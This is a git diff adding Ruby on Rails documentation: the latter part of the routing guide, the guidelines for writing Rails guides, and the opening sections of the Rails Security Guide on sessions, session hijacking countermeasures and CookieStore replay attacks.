+```
+
+Also you can use them in any place that you want inside the routes, for example in a scope or namespace call:
+
+```ruby
+namespace :posts do
+ concerns :commentable
+end
+```
+
+### Creating Paths and URLs From Objects
+
+In addition to using the routing helpers, Rails can also create paths and URLs from an array of parameters. For example, suppose you have this set of routes:
+
+```ruby
+resources :magazines do
+ resources :ads
+end
+```
+
+When using `magazine_ad_path`, you can pass in instances of `Magazine` and `Ad` instead of the numeric IDs:
+
+```erb
+<%= link_to 'Ad details', magazine_ad_path(@magazine, @ad) %>
+```
+
+You can also use `url_for` with a set of objects, and Rails will automatically determine which route you want:
+
+```erb
+<%= link_to 'Ad details', url_for([@magazine, @ad]) %>
+```
+
+In this case, Rails will see that `@magazine` is a `Magazine` and `@ad` is an `Ad` and will therefore use the `magazine_ad_path` helper. In helpers like `link_to`, you can specify just the object in place of the full `url_for` call:
+
+```erb
+<%= link_to 'Ad details', [@magazine, @ad] %>
+```
+
+If you wanted to link to just a magazine:
+
+```erb
+<%= link_to 'Magazine details', @magazine %>
+```
+
+For other actions, you just need to insert the action name as the first element of the array:
+
+```erb
+<%= link_to 'Edit Ad', [:edit, @magazine, @ad] %>
+```
+
+This allows you to treat instances of your models as URLs, and is a key advantage to using the resourceful style.
+
+### Adding More RESTful Actions
+
+You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional routes that apply to the collection or individual members of the collection.
+
+#### Adding Member Routes
+
+To add a member route, just add a `member` block into the resource block:
+
+```ruby
+resources :photos do
+ member do
+ get 'preview'
+ end
+end
+```
+
+This will recognize `/photos/1/preview` with GET, and route to the `preview` action of `PhotosController`, with the resource id value passed in `params[:id]`. It will also create the `preview_photo_url` and `preview_photo_path` helpers.
+
+Within the block of member routes, each route name specifies the HTTP verb that it will recognize. You can use `get`, `patch`, `put`, `post`, or `delete` here. If you don't have multiple `member` routes, you can also pass `:on` to a route, eliminating the block:
+
+```ruby
+resources :photos do
+ get 'preview', on: :member
+end
+```
+
+You can leave out the `:on` option, this will create the same member route except that the resource id value will be available in `params[:photo_id]` instead of `params[:id]`.
+
+#### Adding Collection Routes
+
+To add a route to the collection:
+
+```ruby
+resources :photos do
+ collection do
+ get 'search'
+ end
+end
+```
+
+This will enable Rails to recognize paths such as `/photos/search` with GET, and route to the `search` action of `PhotosController`. It will also create the `search_photos_url` and `search_photos_path` route helpers.
+
+Just as with member routes, you can pass `:on` to a route:
+
+```ruby
+resources :photos do
+ get 'search', on: :collection
+end
+```
+
+#### Adding Routes for Additional New Actions
+
+To add an alternate new action using the `:on` shortcut:
+
+```ruby
+resources :comments do
+ get 'preview', on: :new
+end
+```
+
+This will enable Rails to recognize paths such as `/comments/new/preview` with GET, and route to the `preview` action of `CommentsController`. It will also create the `preview_new_comment_url` and `preview_new_comment_path` route helpers.
+
+TIP: If you find yourself adding many extra actions to a resourceful route, it's time to stop and ask yourself whether you're disguising the presence of another resource.
+
+Non-Resourceful Routes
+----------------------
+
+In addition to resource routing, Rails has powerful support for routing arbitrary URLs to actions. Here, you don't get groups of routes automatically generated by resourceful routing. Instead, you set up each route within your application separately.
+
+While you should usually use resourceful routing, there are still many places where the simpler routing is more appropriate. There's no need to try to shoehorn every last piece of your application into a resourceful framework if that's not a good fit.
+
+In particular, simple routing makes it very easy to map legacy URLs to new Rails actions.
+
+### Bound Parameters
+
+When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: `:controller` maps to the name of a controller in your application, and `:action` maps to the name of an action within that controller. For example, consider this route:
+
+```ruby
+get ':controller(/:action(/:id))'
+```
+
+If an incoming request of `/photos/show/1` is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the `show` action of the `PhotosController`, and to make the final parameter `"1"` available as `params[:id]`. This route will also route the incoming request of `/photos` to `PhotosController#index`, since `:action` and `:id` are optional parameters, denoted by parentheses.
+
+### Dynamic Segments
+
+You can set up as many dynamic segments within a regular route as you like. Anything other than `:controller` or `:action` will be available to the action as part of `params`. If you set up this route:
+
+```ruby
+get ':controller/:action/:id/:user_id'
+```
+
+An incoming path of `/photos/show/1/2` will be dispatched to the `show` action of the `PhotosController`. `params[:id]` will be `"1"`, and `params[:user_id]` will be `"2"`.
+
+NOTE: You can't use `:namespace` or `:module` with a `:controller` path segment. If you need to do this then use a constraint on :controller that matches the namespace you require. e.g:
+
+```ruby
+get ':controller(/:action(/:id))', controller: /admin\/[^\/]+/
+```
+
+TIP: By default, dynamic segments don't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within a dynamic segment, add a constraint that overrides this – for example, `id: /[^\/]+/` allows anything except a slash.
+
+### Static Segments
+
+You can specify static segments when creating a route by not prepending a colon to a fragment:
+
+```ruby
+get ':controller/:action/:id/with_user/:user_id'
+```
+
+This route would respond to paths such as `/photos/show/1/with_user/2`. In this case, `params` would be `{ controller: 'photos', action: 'show', id: '1', user_id: '2' }`.
+
+### The Query String
+
+The `params` will also include any parameters from the query string. For example, with this route:
+
+```ruby
+get ':controller/:action/:id'
+```
+
+An incoming path of `/photos/show/1?user_id=2` will be dispatched to the `show` action of the `Photos` controller. `params` will be `{ controller: 'photos', action: 'show', id: '1', user_id: '2' }`.
+
+### Defining Defaults
+
+You do not need to explicitly use the `:controller` and `:action` symbols within a route. You can supply them as defaults:
+
+```ruby
+get 'photos/:id', to: 'photos#show'
+```
+
+With this route, Rails will match an incoming path of `/photos/12` to the `show` action of `PhotosController`.
+
+You can also define other defaults in a route by supplying a hash for the `:defaults` option. This even applies to parameters that you do not specify as dynamic segments. For example:
+
+```ruby
+get 'photos/:id', to: 'photos#show', defaults: { format: 'jpg' }
+```
+
+Rails would match `photos/12` to the `show` action of `PhotosController`, and set `params[:format]` to `"jpg"`.
+
+### Naming Routes
+
+You can specify a name for any route using the `:as` option:
+
+```ruby
+get 'exit', to: 'sessions#destroy', as: :logout
+```
+
+This will create `logout_path` and `logout_url` as named helpers in your application. Calling `logout_path` will return `/exit`
+
+You can also use this to override routing methods defined by resources, like this:
+
+```ruby
+get ':username', to: 'users#show', as: :user
+```
+
+This will define a `user_path` method that will be available in controllers, helpers and views that will go to a route such as `/bob`. Inside the `show` action of `UsersController`, `params[:username]` will contain the username for the user. Change `:username` in the route definition if you do not want your parameter name to be `:username`.
+
+### HTTP Verb Constraints
+
+In general, you should use the `get`, `post`, `put` and `delete` methods to constrain a route to a particular verb. You can use the `match` method with the `:via` option to match multiple verbs at once:
+
+```ruby
+match 'photos', to: 'photos#show', via: [:get, :post]
+```
+
+You can match all verbs to a particular route using `via: :all`:
+
+```ruby
+match 'photos', to: 'photos#show', via: :all
+```
+
+NOTE: Routing both `GET` and `POST` requests to a single action has security implications. In general, you should avoid routing all verbs to an action unless you have a good reason to.
+
+### Segment Constraints
+
+You can use the `:constraints` option to enforce a format for a dynamic segment:
+
+```ruby
+get 'photos/:id', to: 'photos#show', constraints: { id: /[A-Z]\d{5}/ }
+```
+
+This route would match paths such as `/photos/A12345`, but not `/photos/893`. You can more succinctly express the same route this way:
+
+```ruby
+get 'photos/:id', to: 'photos#show', id: /[A-Z]\d{5}/
+```
+
+`:constraints` takes regular expressions with the restriction that regexp anchors can't be used. For example, the following route will not work:
+
+```ruby
+get '/:id', to: 'posts#show', constraints: {id: /^\d/}
+```
+
+However, note that you don't need to use anchors because all routes are anchored at the start.
+
+For example, the following routes would allow for `posts` with `to_param` values like `1-hello-world` that always begin with a number and `users` with `to_param` values like `david` that never begin with a number to share the root namespace:
+
+```ruby
+get '/:id', to: 'posts#show', constraints: { id: /\d.+/ }
+get '/:username', to: 'users#show'
+```
+
+### Request-Based Constraints
+
+You can also constrain a route based on any method on the <a href="action_controller_overview.html#the-request-object">Request</a> object that returns a `String`.
+
+You specify a request-based constraint the same way that you specify a segment constraint:
+
+```ruby
+get 'photos', constraints: {subdomain: 'admin'}
+```
+
+You can also specify constraints in a block form:
+
+```ruby
+namespace :admin do
+ constraints subdomain: 'admin' do
+ resources :photos
+ end
+end
+```
+
+### Advanced Constraints
+
+If you have a more advanced constraint, you can provide an object that responds to `matches?` that Rails should use. Let's say you wanted to route all users on a blacklist to the `BlacklistController`. You could do:
+
+```ruby
+class BlacklistConstraint
+ def initialize
+ @ips = Blacklist.retrieve_ips
+ end
+
+ def matches?(request)
+ @ips.include?(request.remote_ip)
+ end
+end
+
+TwitterClone::Application.routes.draw do
+ get '*path', to: 'blacklist#index',
+ constraints: BlacklistConstraint.new
+end
+```
+
+You can also specify constraints as a lambda:
+
+```ruby
+TwitterClone::Application.routes.draw do
+ get '*path', to: 'blacklist#index',
+ constraints: lambda { |request| Blacklist.retrieve_ips.include?(request.remote_ip) }
+end
+```
+
+Both the `matches?` method and the lambda gets the `request` object as an argument.
+
+### Route Globbing and Wildcard Segments
+
+Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example:
+
+```ruby
+get 'photos/*other', to: 'photos#unknown'
+```
+
+This route would match `photos/12` or `/photos/long/path/to/12`, setting `params[:other]` to `"12"` or `"long/path/to/12"`. The fragments prefixed with a star are called "wildcard segments".
+
+Wildcard segments can occur anywhere in a route. For example:
+
+```ruby
+get 'books/*section/:title', to: 'books#show'
+```
+
+would match `books/some/section/last-words-a-memoir` with `params[:section]` equals `'some/section'`, and `params[:title]` equals `'last-words-a-memoir'`.
+
+Technically, a route can have even more than one wildcard segment. The matcher assigns segments to parameters in an intuitive way. For example:
+
+```ruby
+get '*a/foo/*b', to: 'test#index'
+```
+
+would match `zoo/woo/foo/bar/baz` with `params[:a]` equals `'zoo/woo'`, and `params[:b]` equals `'bar/baz'`.
+
+NOTE: By requesting `'/foo/bar.json'`, your `params[:pages]` will be equals to `'foo/bar'` with the request format of JSON. If you want the old 3.0.x behavior back, you could supply `format: false` like this:
+
+```ruby
+get '*pages', to: 'pages#show', format: false
+```
+
+NOTE: If you want to make the format segment mandatory, so it cannot be omitted, you can supply `format: true` like this:
+
+```ruby
+get '*pages', to: 'pages#show', format: true
+```
+
+### Redirection
+
+You can redirect any path to another path using the `redirect` helper in your router:
+
+```ruby
+get '/stories', to: redirect('/posts')
+```
+
+You can also reuse dynamic segments from the match in the path to redirect to:
+
+```ruby
+get '/stories/:name', to: redirect('/posts/%{name}')
+```
+
+You can also provide a block to redirect, which receives the params and the request object:
+
+```ruby
+get '/stories/:name', to: redirect {|params, req| "/posts/#{params[:name].pluralize}" }
+get '/stories', to: redirect {|p, req| "/posts/#{req.subdomain}" }
+```
+
+Please note that this redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible.
+
+In all of these cases, if you don't provide the leading host (`http://www.example.com`), Rails will take those details from the current request.
+
+### Routing to Rack Applications
+
+Instead of a String like `'posts#index'`, which corresponds to the `index` action in the `PostsController`, you can specify any <a href="rails_on_rack.html">Rack application</a> as the endpoint for a matcher:
+
+```ruby
+match '/application.js', to: Sprockets, via: :all
+```
+
+As long as `Sprockets` responds to `call` and returns a `[status, headers, body]`, the router won't know the difference between the Rack application and an action. This is an appropriate use of `via: :all`, as you will want to allow your Rack application to handle all verbs as it considers appropriate.
+
+NOTE: For the curious, `'posts#index'` actually expands out to `PostsController.action(:index)`, which returns a valid Rack application.
+
+### Using `root`
+
+You can specify what Rails should route `'/'` to with the `root` method:
+
+```ruby
+root to: 'pages#main'
+root 'pages#main' # shortcut for the above
+```
+
+You should put the `root` route at the top of the file, because it is the most popular route and should be matched first.
+
+NOTE: The `root` route only routes `GET` requests to the action.
+
+You can also use root inside namespaces and scopes as well. For example:
+
+```ruby
+namespace :admin do
+ root to: "admin#index"
+end
+
+root to: "home#index"
+```
+
+### Unicode character routes
+
+You can specify unicode character routes directly. For example:
+
+```ruby
+get 'こんにちは', to: 'welcome#index'
+```
+
+Customizing Resourceful Routes
+------------------------------
+
+While the default routes and helpers generated by `resources :posts` will usually serve you well, you may want to customize them in some way. Rails allows you to customize virtually any generic part of the resourceful helpers.
+
+### Specifying a Controller to Use
+
+The `:controller` option lets you explicitly specify a controller to use for the resource. For example:
+
+```ruby
+resources :photos, controller: 'images'
+```
+
+will recognize incoming paths beginning with `/photos` but route to the `Images` controller:
+
+| HTTP Verb | Path | Action | Named Helper |
+| --------- | ---------------- | ------- | -------------------- |
+| GET | /photos | index | photos_path |
+| GET | /photos/new | new | new_photo_path |
+| POST | /photos | create | photos_path |
+| GET | /photos/:id | show | photo_path(:id) |
+| GET | /photos/:id/edit | edit | edit_photo_path(:id) |
+| PATCH/PUT | /photos/:id | update | photo_path(:id) |
+| DELETE | /photos/:id | destroy | photo_path(:id) |
+
+NOTE: Use `photos_path`, `new_photo_path`, etc. to generate paths for this resource.
+
+For namespaced controllers you can use the directory notation. For example:
+
+```ruby
+resources :user_permissions, controller: 'admin/user_permissions'
+```
+
+This will route to the `Admin::UserPermissions` controller.
+
+NOTE: Only the directory notation is supported. Specifying the
+controller with ruby constant notation (eg. `:controller =>
+'Admin::UserPermissions'`) can lead to routing problems and results in
+a warning.
+
+### Specifying Constraints
+
+You can use the `:constraints` option to specify a required format on the implicit `id`. For example:
+
+```ruby
+resources :photos, constraints: {id: /[A-Z][A-Z][0-9]+/}
+```
+
+This declaration constrains the `:id` parameter to match the supplied regular expression. So, in this case, the router would no longer match `/photos/1` to this route. Instead, `/photos/RR27` would match.
+
+You can specify a single constraint to apply to a number of routes by using the block form:
+
+```ruby
+constraints(id: /[A-Z][A-Z][0-9]+/) do
+ resources :photos
+ resources :accounts
+end
+```
+
+NOTE: Of course, you can use the more advanced constraints available in non-resourceful routes in this context.
+
+TIP: By default the `:id` parameter doesn't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within an `:id` add a constraint which overrides this - for example `id: /[^\/]+/` allows anything except a slash.
+
+### Overriding the Named Helpers
+
+The `:as` option lets you override the normal naming for the named route helpers. For example:
+
+```ruby
+resources :photos, as: 'images'
+```
+
+will recognize incoming paths beginning with `/photos` and route the requests to `PhotosController`, but use the value of the :as option to name the helpers.
+
+| HTTP Verb | Path | Action | Named Helper |
+| --------- | ---------------- | ------- | -------------------- |
+| GET | /photos | index | images_path |
+| GET | /photos/new | new | new_image_path |
+| POST | /photos | create | images_path |
+| GET | /photos/:id | show | image_path(:id) |
+| GET | /photos/:id/edit | edit | edit_image_path(:id) |
+| PATCH/PUT | /photos/:id | update | image_path(:id) |
+| DELETE | /photos/:id | destroy | image_path(:id) |
+
+### Overriding the `new` and `edit` Segments
+
+The `:path_names` option lets you override the automatically-generated "new" and "edit" segments in paths:
+
+```ruby
+resources :photos, path_names: { new: 'make', edit: 'change' }
+```
+
+This would cause the routing to recognize paths such as:
+
+```
+/photos/make
+/photos/1/change
+```
+
+NOTE: The actual action names aren't changed by this option. The two paths shown would still route to the `new` and `edit` actions.
+
+TIP: If you find yourself wanting to change this option uniformly for all of your routes, you can use a scope.
+
+```ruby
+scope path_names: { new: 'make' } do
+ # rest of your routes
+end
+```
+
+### Prefixing the Named Route Helpers
+
+You can use the `:as` option to prefix the named route helpers that Rails generates for a route. Use this option to prevent name collisions between routes using a path scope. For example:
+
+```ruby
+scope 'admin' do
+ resources :photos, as: 'admin_photos'
+end
+
+resources :photos
+```
+
+This will provide route helpers such as `admin_photos_path`, `new_admin_photo_path` etc.
+
+To prefix a group of route helpers, use `:as` with `scope`:
+
+```ruby
+scope 'admin', as: 'admin' do
+ resources :photos, :accounts
+end
+
+resources :photos, :accounts
+```
+
+This will generate routes such as `admin_photos_path` and `admin_accounts_path` which map to `/admin/photos` and `/admin/accounts` respectively.
+
+NOTE: The `namespace` scope will automatically add `:as` as well as `:module` and `:path` prefixes.
+
+You can prefix routes with a named parameter also:
+
+```ruby
+scope ':username' do
+ resources :posts
+end
+```
+
+This will provide you with URLs such as `/bob/posts/1` and will allow you to reference the `username` part of the path as `params[:username]` in controllers, helpers and views.
+
+### Restricting the Routes Created
+
+By default, Rails creates routes for the seven default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the `:only` and `:except` options to fine-tune this behavior. The `:only` option tells Rails to create only the specified routes:
+
+```ruby
+resources :photos, only: [:index, :show]
+```
+
+Now, a `GET` request to `/photos` would succeed, but a `POST` request to `/photos` (which would ordinarily be routed to the `create` action) will fail.
+
+The `:except` option specifies a route or list of routes that Rails should _not_ create:
+
+```ruby
+resources :photos, except: :destroy
+```
+
+In this case, Rails will create all of the normal routes except the route for `destroy` (a `DELETE` request to `/photos/:id`).
+
+TIP: If your application has many RESTful routes, using `:only` and `:except` to generate only the routes that you actually need can cut down on memory use and speed up the routing process.
+
+### Translated Paths
+
+Using `scope`, we can alter path names generated by resources:
+
+```ruby
+scope(path_names: { new: 'neu', edit: 'bearbeiten' }) do
+ resources :categories, path: 'kategorien'
+end
+```
+
+Rails now creates routes to the `CategoriesController`.
+
+| HTTP Verb | Path | Action | Used for |
+| --------- | -------------------------- | ------- | ----------------------- |
+| GET | /kategorien | index | categories_path |
+| GET | /kategorien/neu | new | new_category_path |
+| POST | /kategorien | create | categories_path |
+| GET | /kategorien/:id | show | category_path(:id) |
+| GET | /kategorien/:id/bearbeiten | edit | edit_category_path(:id) |
+| PATCH/PUT | /kategorien/:id | update | category_path(:id) |
+| DELETE | /kategorien/:id | destroy | category_path(:id) |
+
+### Overriding the Singular Form
+
+If you want to define the singular form of a resource, you should add additional rules to the `Inflector`:
+
+```ruby
+ActiveSupport::Inflector.inflections do |inflect|
+ inflect.irregular 'tooth', 'teeth'
+end
+```
+
+### Using `:as` in Nested Resources
+
+The `:as` option overrides the automatically-generated name for the resource in nested route helpers. For example:
+
+```ruby
+resources :magazines do
+ resources :ads, as: 'periodical_ads'
+end
+```
+
+This will create routing helpers such as `magazine_periodical_ads_url` and `edit_magazine_periodical_ad_path`.
+
+Inspecting and Testing Routes
+-----------------------------
+
+Rails offers facilities for inspecting and testing your routes.
+
+### Listing Existing Routes
+
+To get a complete list of the available routes in your application, visit `http://localhost:3000/rails/info/routes` in your browser while your server is running in the **development** environment. You can also execute the `rake routes` command in your terminal to produce the same output.
+
+Both methods will list all of your routes, in the same order that they appear in `routes.rb`. For each route, you'll see:
+
+* The route name (if any)
+* The HTTP verb used (if the route doesn't respond to all verbs)
+* The URL pattern to match
+* The routing parameters for the route
+
+For example, here's a small section of the `rake routes` output for a RESTful route:
+
+```
+ users GET /users(.:format) users#index
+ POST /users(.:format) users#create
+ new_user GET /users/new(.:format) users#new
+edit_user GET /users/:id/edit(.:format) users#edit
+```
+
+You may restrict the listing to the routes that map to a particular controller setting the `CONTROLLER` environment variable:
+
+```bash
+$ CONTROLLER=users rake routes
+```
+
+TIP: You'll find that the output from `rake routes` is much more readable if you widen your terminal window until the output lines don't wrap.
+
+### Testing Routes
+
+Routes should be included in your testing strategy (just like the rest of your application). Rails offers three [built-in assertions](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html) designed to make testing routes simpler:
+
+* `assert_generates`
+* `assert_recognizes`
+* `assert_routing`
+
+#### The `assert_generates` Assertion
+
+`assert_generates` asserts that a particular set of options generate a particular path and can be used with default routes or custom routes. For example:
+
+```ruby
+assert_generates '/photos/1', { controller: 'photos', action: 'show', id: '1' }
+assert_generates '/about', controller: 'pages', action: 'about'
+```
+
+#### The `assert_recognizes` Assertion
+
+`assert_recognizes` is the inverse of `assert_generates`. It asserts that a given path is recognized and routes it to a particular spot in your application. For example:
+
+```ruby
+assert_recognizes({ controller: 'photos', action: 'show', id: '1' }, '/photos/1')
+```
+
+You can supply a `:method` argument to specify the HTTP verb:
+
+```ruby
+assert_recognizes({ controller: 'photos', action: 'create' }, { path: 'photos', method: :post })
+```
+
+#### The `assert_routing` Assertion
+
+The `assert_routing` assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of `assert_generates` and `assert_recognizes`:
+
+```ruby
+assert_routing({ path: 'photos', method: :post }, { controller: 'photos', action: 'create' })
+```
diff --git a/guides/source/ruby_on_rails_guides_guidelines.md b/guides/source/ruby_on_rails_guides_guidelines.md
new file mode 100644
index 0000000..136dfb4
--- /dev/null
+++ b/guides/source/ruby_on_rails_guides_guidelines.md
@@ -0,0 +1,124 @@
+Ruby on Rails Guides Guidelines
+===============================
+
+This guide documents guidelines for writing Ruby on Rails Guides. This guide follows itself in a graceful loop, serving itself as an example.
+
+After reading this guide, you will know:
+
+* About the conventions to be used in Rails documentation.
+* How to generate guides locally.
+
+--------------------------------------------------------------------------------
+
+Markdown
+-------
+
+Guides are written in [GitHub Flavored Markdown](http://github.github.com/github-flavored-markdown/). There is comprehensive [documentation for Markdown](http://daringfireball.net/projects/markdown/syntax), a [cheatsheet](http://daringfireball.net/projects/markdown/basics), and [additional documentation](http://github.github.com/github-flavored-markdown/) on the differences from traditional Markdown.
+
+Prologue
+--------
+
+Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. See for example the [Routing Guide](routing.html).
+
+Titles
+------
+
+The title of every guide uses `h1`; guide sections use `h2`; subsections `h3`; etc. However, the generated HTML output will have the heading tag starting from `<h2>`.
+
+```
+Guide Title
+===========
+
+Section
+-------
+
+### Sub Section
+```
+
+Capitalize all words except for internal articles, prepositions, conjunctions, and forms of the verb to be:
+
+```
+#### Middleware Stack is an Array
+#### When are Objects Saved?
+```
+
+Use the same typography as in regular text:
+
+```
+##### The `:content_type` Option
+```
+
+API Documentation Guidelines
+----------------------------
+
+The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the [API Documentation Guidelines](api_documentation_guidelines.html:)
+
+* [Wording](api_documentation_guidelines.html#wording)
+* [Example Code](api_documentation_guidelines.html#example-code)
+* [Filenames](api_documentation_guidelines.html#filenames)
+* [Fonts](api_documentation_guidelines.html#fonts)
+
+Those guidelines apply also to guides.
+
+HTML Guides
+-----------
+
+### Generation
+
+To generate all the guides, just `cd` into the `guides` directory, run `bundle install` and execute:
+
+```
+bundle exec rake guides:generate
+```
+
+or
+
+```
+bundle exec rake guides:generate:html
+```
+
+To process `my_guide.md` and nothing else use the `ONLY` environment variable:
+
+```
+touch my_guide.md
+bundle exec rake guides:generate ONLY=my_guide
+```
+
+By default, guides that have not been modified are not processed, so `ONLY` is rarely needed in practice.
+
+To force processing all the guides, pass `ALL=1`.
+
+It is also recommended that you work with `WARNINGS=1`. This detects duplicate IDs and warns about broken internal links.
+
+If you want to generate guides in a language other than English, you can keep them in a separate directory under `source` (eg. `source/es`) and use the `GUIDES_LANGUAGE` environment variable:
+
+```
+bundle exec rake guides:generate GUIDES_LANGUAGE=es
+```
+
+If you want to see all the environment variables you can use to configure the generation script just run:
+
+```
+rake
+```
+
+### Validation
+
+Please validate the generated HTML with:
+
+```
+bundle exec rake guides:validate
+```
+
+Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set `WARNINGS=1` when generating guides to detect them. The warning messages suggest a solution.
+
+Kindle Guides
+-------------
+
+### Generation
+
+To generate guides for the Kindle, use the following rake task:
+
+```
+bundle exec rake guides:generate:kindle
+```
diff --git a/guides/source/security.md b/guides/source/security.md
new file mode 100644
index 0000000..b2d0936
--- /dev/null
+++ b/guides/source/security.md
@@ -0,0 +1,973 @@
+Ruby on Rails Security Guide
+============================
+
+This manual describes common security problems in web applications and how to avoid them with Rails.
+
+After reading this guide, you will know:
+
+* All countermeasures _that are highlighted_.
+* The concept of sessions in Rails, what to put in there and popular attack methods.
+* How just visiting a site can be a security problem (with CSRF).
+* What you have to pay attention to when working with files or providing an administration interface.
+* How to manage users: Logging in and out and attack methods on all layers.
+* And the most popular injection attack methods.
+
+--------------------------------------------------------------------------------
+
+Introduction
+------------
+
+Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security.
+
+In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).
+
+The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.
+
+The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack me [...]
+
+In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because that's how you find the nasty logical security problems.
+
+Sessions
+--------
+
+A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.
+
+### What are Sessions?
+
+NOTE: _HTTP is a stateless protocol. Sessions make it stateful._
+
+Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
+Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.
+
+A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:
+
+```ruby
+session[:user_id] = @current_user.id
+User.find(session[:user_id])
+```
+
+### Session id
+
+NOTE: _The session id is a 32 byte long MD5 hash value._
+
+A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.
+
+### Session Hijacking
+
+WARNING: _Stealing a user's session id lets an attacker use the web application in the victim's name._
+
+Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.
+
+Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
+
+* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:
+
+ ```ruby
+ config.force_ssl = true
+ ```
+
+* Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a _log-out button_ in the web application, and _make it prominent_.
+
+* Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later.
+
+* Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
+
+The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf).
+
+### Session Guidelines
+
+Here are some general guidelines on sessions.
+
+* _Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
+This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
+
+* _Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
+
+### Session Storage
+
+NOTE: _Rails provides several storage mechanisms for the session hashes. The most important is `ActionDispatch::Session::CookieStore`._
+
+Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:
+
+* Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. _Storing the current user's database id in a session is usually ok_.
+
+* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
+
+That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_.
+
+`config.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `config.secret_key_base` initialized to a random key in `config/initializers/secret_token.rb`, e.g.:
+
+ YourApp::Application.config.secret_key_base = '49d3f3de9ed86c74b94ad6bd0...'
+
+Older versions of Rails use CookieStore, which uses `secret_token` instead of `secret_key_base` that is used by EncryptedCookieStore. Read the upgrade documentation for more information.
+
+If you have received an application where the secret was exposed (e.g. an application whose source was shared), strongly consider changing the secret.
+
+### Replay Attacks for CookieStore Sessions
+
+TIP: _Another sort of attack you have to be aware of when using `CookieStore` is the replay attack._
+
+It works like this:
+
+* A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).
+* The user buys something.
+* His new, lower credit will be stored in the session.
+* The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
+* The user has his credit back.
+
